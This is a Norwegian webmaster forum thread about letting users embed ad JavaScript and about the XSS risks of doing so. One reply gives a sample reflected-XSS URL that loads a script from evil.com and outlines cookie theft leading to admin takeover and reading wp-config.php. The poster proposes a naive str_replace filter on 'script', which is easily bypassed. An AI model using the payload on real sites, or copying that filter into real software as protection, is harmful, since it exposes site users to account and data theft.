Kjapp og trygg hosting for Wordpress

Javascript-annonser og sikkerhet

Jeg jobber med å lansere en betaltjeneste på en eksisterende nettside der bruk av tjenesten i utgangspunktet er gratis, men man kan få tilgang på noen ekstra tilleggsfunksjoner om man betaler en månedspris for det. En av tjenestene betalingskundene vil få tilgang på er at annonsene forsvinner fra siden, og eventuelt blir erstattet med deres egne annonser om de ønsker det.

Og så er problemet: For å få til dette er jeg nødt til å gi brukerne et felt der de kan lime inn annonsekoden. Og dermed har jeg gitt brukerne mulighet til å legge ut HTML og JavaScript på siden... Noe som neppe er et særlig smart trekk sikkerhetsmessig, går jeg ut fra. Det er ikke det at jeg ikke stoler på at brukerne mine er ålreite folk, men jeg vet jo at det finnes folk som Skogtrollet der ute.

Forslag til hvordan jeg kan løse dette? Det som i mine øyne virker som den mest praktiske måten å løse dette på, er at jeg kun godtar noen få ulike annonseleverandører, og at når brukeren legger inn en kode, leser jeg gjennom koden automatisk med PHP, fisker ut Google-variablene (evt. andre leverandører, men alle sånne koder har jo variabler), validerer disse, putter dem inn i en kode jeg vet at ikke skaper problemer, og gir den korrekte koden som output. Dersom brukere ønsker å legge inn en annen kode enn de leverandørene som er godkjente i systemet, f.eks. å legge ut et eget bilde som linker til et produkt de ønsker å selge, vil de isåfall ikke ha mulighet til å bruke JavaScript (med mindre de tar fysisk kontakt med meg på e-post og gir meg mulighet til å godkjenne koden manuelt). Det er en kronglete måte å gjøre det på og den vil få problemer blant annet dersom Google bestemmer seg for å gjøre store endringer i Adsense-koden sin, men det er som sagt den beste muligheten jeg har kommet på.

Er det noen som har andre forslag til hvordan man kan løse dette dilemmaet?
 

Bjørnar

Gründer
at de, ved å legge inn annonsekoden, sender koden til deg, i stedet for å legge den ut - og du må gjøre det manuelt. går fint med få brukere, men kan bli noe tungvindt i lengden.

ikke noe fullferdig god løsning, men ....
 

Mr Vest

Sjefen over alle sjefer!
Du har jo ganske rett i at Javascript er fyfy, og dette er jo noe Google Adsense bruker. En løsning som du kommer med over er jo forståvidt en mye brukt løsning akkurat for Adsense-annonser.

Godta kun html, og gjerne nekte akkurat iframe-taggen burde kanskje være noe,? eller må brukerne på liv og død kunne bruke Adsense? Med og godta kun html vil jo brukerne kunne bruke de fleste andre annonsenettverk der ute. Da kan du jo også håve inn noen gode kroner på og henvise til f.eks Euroads som betaler mellom 50-70kr per lead. :)
 

erlinglothe

New Member
Lag ferdige maler ( en side med form inputs ) hvor brukerene dine bare fyller inn variablene ( id'er o.s.v ) og så genererer systemet riktig kode...

Det at google kommer til å endre adsense systemet sitt er så vannvittigt usansynlig...
 
Grunnen til at jeg nevnte det med å endre på adsense-koden er at det ikke er så innmari lenge sidan de endret på den. Jeg ser iallefall at koden jeg laster ned til nye annonser nå er en helt annen enn de annonsene jeg har hatt i noen år, blant anna hadde de farger og sånn informasjon lagra i koden mens den nye har alt sånt lagra på googles server.

Jeg tror nok at dersom jeg skal la brukerne legge ut egne annonser og forsøker å få det til å høres attraktivt ut, skyter jeg meg selv i foten om jeg sperrer for adsense-bruk. Og jeg innbiller meg også at de fleste andre annonsesystem jeg har vært borti (advertising.com, tradedoubler, project wonderful) bruker javascript på en måte, gjør de ikke?

Å hente ut variabler og skrive inn de i et skjema er noe jeg kanskje ville ha gjort. Men hvor brukervennlig er egentlig det? Skal jeg forvente at kundene mine er teknisk anlagte nok til å klare å finne disse variablene, når de såvidt jeg vet bare presenteres midt inne i koden? Hadde Google gitt brukerne en liste over disse variablene, hadde jeg nok gjort det sånn. Men de vil gjøre det enkelt for brukerne sine, presenterer derfor bare en html-kode, og det er isåfall den jeg må ta utgangspunkt i.
 

Robert

Mr. 66
Da lager du et php script som brukerne limer inn koden fra google i.
Scriptet henter ut variablene og setter dem inn i ditt "godkjente" adsense script.


Kan jeg spørre om hvilken bloggeløsning du bruker? Jeg gjetter på at det er blogger det er snakk om.
 
Ettersom sikkerhet plutselig ble et hett tema i forumet trekker jeg fram denne igjen og stiller spørsmålet på en helt ny måte:

Dersom jeg blåser i alt som heter kodevasking og faktisk *lar* brukerne mine legge ut sine egne JavaScript på nettstedet mitt, hva er da det verste som kan skje?

Kan man med JS få tilgang til de andre filene på serveren min? Isåfall lese- og/eller skrivetilgang? Kan man få tilgang til databasen min? Lese eller skrive?

Jeg får det inntrykket at å tillate kjøring av bruker-JS er veldig skummelt, men samtidig er det noe både W3Schools og sannsynligvis Wordpress og sannsynligvis mange andre aktører også tillater, så: Kan dette misbrukes, og hvordan kan det isåfall misbrukes?
 

picxx

Well-Known Member
Dersom jeg blåser i alt som heter kodevasking og faktisk *lar* brukerne mine legge ut sine egne JavaScript på nettstedet mitt, hva er da det verste som kan skje?

Kan man med JS få tilgang til de andre filene på serveren min? Isåfall lese- og/eller skrivetilgang? Kan man få tilgang til databasen min? Lese eller skrive?

Det kan de sikkert, om de hardcore kodere...men, hvor stor sjanse er det for at dine brukere er det?
Om du hoster på en VPS vil du likevel bli angrepet av disse hardcore "ødeleggerne".

Jeg ga mine brukere tilgang på å bruke javascript og php over ett lengre tidsrom og det skjedde absolutt nada... la selv ned siden grunnet føkkup fra host.

Du bør dog ha en meldingsfunksjon + å se over en og annen bruker innimellom om du gir tilgang. 99,5% av brukerne dine vet ikke engang hva en affiliate er... utav de 0,5% er det nok 0,01% som kanskje er kodere. Utav den 0,01% er det kanskje 0,0001% som vil ødelegge akkurat for deg. Regn ut prosent ;)

p.s. Mere generelle virus som f.eks. gumblar/martuz kan du jo ikke forsvare deg mot, men brukerne dine har mest sannsynlig ikke tilgang til din database..
 

skogtrollet

Medlem
Om det ikke fins noe admin eller bruker login på nettstedet ditt. Kan xss aldri skade/endre ting på serveren. MEN

Ting kan endres. Man kan f.eks. sende vedkommende en lenke slik:

http://vg.no/?article34434&a="<script src=http://evil.com/a.js></script>"

Den ser mistenkelig ut, men den kan obfuskeres. Slik at man ikke ser at det lenkes til et javascript på evil.com

Når vedkommende åpner siden, tror han at det er vg han åpner. Men siden det lenkes til et javascript kan den som la ut javascript filene, endre alt innholdet på vg.no siden som lastes. Man kan f.eks. legge inn en hel artikkel. Slik at det ser ut som den virkelig er lagt ut på vg.no. Med en gang vedkommende klikker videre, vil han aldri se den falske artikkelen igjen. ( det fins metoder, der vedkommende blir fanget inn i et javascript, slik at likevel om han klikker, vil javascriptet kjøre i bakgrunnen)
På denne måten kan man lure folk.

Dersom nettstedet ditt har et admin panel, eller en bruker login. Er det mulig for ondsinnede hackere å stjele alt av informasjon som ligger på siden. F.eks. om nettsted.com har en "personlige opplysninger" side, der man ser emailen sin, adresse, mobiltelefon nummer osv., vil alt dette kunne bli snappet opp om vedkommende besøker angriperen sin nettside, eller lenke.

Det verste scenarioet er om en admin blir utsatt for xss, kakene(cookies) blir stjålet, dermed har angriperen adgang til admin panelet ved å sette kakene inn i sin egen browser. Om det fins nå slags "rediger" filer, eller om det er en upload funksjon, kan det lastes opp php kode. Og hackeren har tilgang til alt php kan gjøre. Da er det f.eks. bare å lese wp-config.php for å finne ut av database passord. osv.

Xss kan være ganske avansert. Og det er ganske alvorlig om du først er så uheldig å bli et offer av det( verst om du er admin selv).
 

Mr Vest

Sjefen over alle sjefer!
Jeg leste også i en tråd her for et par dager siden at blogg.no tillater at brukerne deres kjører Javascript. Det gir kanskje også en liten pekepinn på hvor mange som sitter med nødvendige kunnskaper for og knekke nettsiden?
 
Takk for et svært godt svar, skogtrollet.

Det første scenariet du skisserer vil, om jeg forstår deg riktig, ikke bli et problem i mitt tilfelle, da den eneste som skal ha tilgang til å legge ut JS på en side skal være den brukeren som har opprettet denne siden -- og da vil det vel forhåpentligvis være uproblematisk at han/hun endrer på innholdet på siden, ettersom det er sitt eget innhold de endrer på. At andre brukere sannsynligvis har mulighet til å legge inn JS gjennom URL slik du skisserer her, er et annet problem, men det jobber jeg uansett med å tilintetgjøre.

Den andre situasjonen du nevner her er den som kan bli problematisk i mitt tilfelle. Brukerlogin har jeg nemlig, admininnlogging har jeg også. Så her må jeg nok forandre på måten jeg tenker på og finne en annen måte å løse dette på enn å tillate JS, ja.

Oppfølgingsspørsmål 1: Vil det kunne oppstå problemer dersom brukerpanelet ikke har noen som helst måte for brukeren å legge inn Javascript på, MEN det er en side som linker dit og som bruker samme cookies som brukerpanelet som har et ondartet javascript på seg? Ikke at det egentlig spiller noen rolle, da brukeren enkelt kan endre linken til å føre til et skjema de har snekret selv og slik få brukerne til å gi fra seg passord, men det er greit å vite.

Oppfølgingsspørsmål 2: Dersom jeg vil tillate brukeren å legge inn HTML, men ikke Javascript, hva er den beste måten å vaske HTML-koden for js på? Ser for meg flere måter å gjøre dette på. Den enkleste vil kanskje være noe sånt:

Kode:
$innhold = str_replace('script', 'scr<!-- RASSHØL! -->ipt', $innhold);

... med mindre dere ser umiddelbare grunner til at en slik replace ikke vil virke? Ellers har man vel også strip_tags(), men da må jeg sette meg og lage en diger liste over hvilke tagger som skal være tillatt, og det blir mye stress.

Takk for mye god informasjon om problemstillinger jeg ærlig talt ikke hadde tenkt over at jeg måtte ta stilling til.
 
Sist redigert:
Topp